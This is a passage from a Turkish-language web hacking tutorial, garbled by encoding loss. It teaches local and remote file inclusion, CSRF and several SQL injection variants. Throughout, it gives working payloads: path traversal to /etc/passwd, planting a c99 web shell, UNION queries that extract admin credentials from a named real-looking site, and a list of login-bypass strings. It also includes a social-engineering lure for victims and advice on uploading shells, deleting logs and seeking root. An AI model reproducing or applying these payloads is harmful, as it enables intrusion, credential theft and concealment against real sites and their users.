Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 23: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim

Ekrana yansıyan tablo isimlerine bir bakalım

adminresimleradreslerhizmetler vs vs olsun

bize burada lazım olacak tabloyu seccediliyoruz admin

Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız

Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri

Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--

Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz

Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)

Hexlenecek isim database()

Hexlenmiş Hali 64617461626173652829

Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--

Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz

11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)

Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi

Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz

Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Hexlenecek ad admin

Hexlenmiş hali 61646d696e

Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--

Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz

Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--

Sorguyu goumlnderdik

Username admin

Password bugres

Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur

UsernamePassword Char Code Ccedilevrilmiş Hali

StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)

Char Code halini group_concat() fonksiyonunun arasına yazıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--

Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz

12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)

Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi

Tekrar hatırlayalım

Uname admin

Pword bugres

Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız

Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim

Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır

Wordpress Admin panel yolu wp-admin

Joomla admin panel yolu administrator

Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz

Tahmine başlıyoruz

wwwsayfamcomadmin -gt Error

wwwsayfamcomyoneticiphp -gt Error

wwwsayfamcomadminphp -gt Error

wwwsayfamcomlog_inphp -gt Yess P

Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz

Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz

13-Saldırı Anı7(İzlerimizi Silmek)

Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor

14-Sonuccedil

Neler yaptık

Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor

15- Kaccedil Tuumlr SQL İnjection Vardır

a-) MySql İnjection

Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız

SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut

Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım

Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı

Bu accedilığın kullanımına geccedilelim

Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam

Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22

Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun

Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş

Şimdi kolonları yansıtalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz

Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz

Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--

Sorgusunun ardından ekrana tablersquolar yansıdı

Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )

Şimdi admin tablosundaki kolonlara bakalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

Ekrana userpassmail yansıdığını farz edelim

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--

User admin

Pass 123456

Email adminparoswinescom

b-) Ms Access SQL İnjection

Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml

SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr

Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo

Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir

Microsoft JET Database Engine error rsquo80040e14rsquo

Syntax error in string in query expression rsquoid = 10rsquo

sayfaasp line 7

Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz

wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti

wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata

Microsoft JET Database Engine error rsquo80040e14rsquo

The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression

sayfaasp line 7

Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek

wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış

Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım

wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza

Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani

wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--

ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir

wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--

Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur

User mahserat

Pass bugres

c-) Blind SQL İnjection

Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz

Gene bir hedef site duumlşuumlnuumln

wwwsayfacomdosyaphpid=2 olsun

Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz

wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor

and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz

Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz

wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım

wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş

Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325

burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir

Şimdi user sutuumlnunu ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572

Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim

and substring((select user from users)11)=0x(tahmin edilen users)

and substring((select pass from users)21)=0x(tahmin edilen users)

Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz

Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir

d-) String SQL İnjection

Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani

wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor

wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz

wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim

wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok

wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil

wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor

Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi

wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )

Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr

Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox

Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde

Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Şeklinde Kadı ve Şifreyi ccedilektik

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

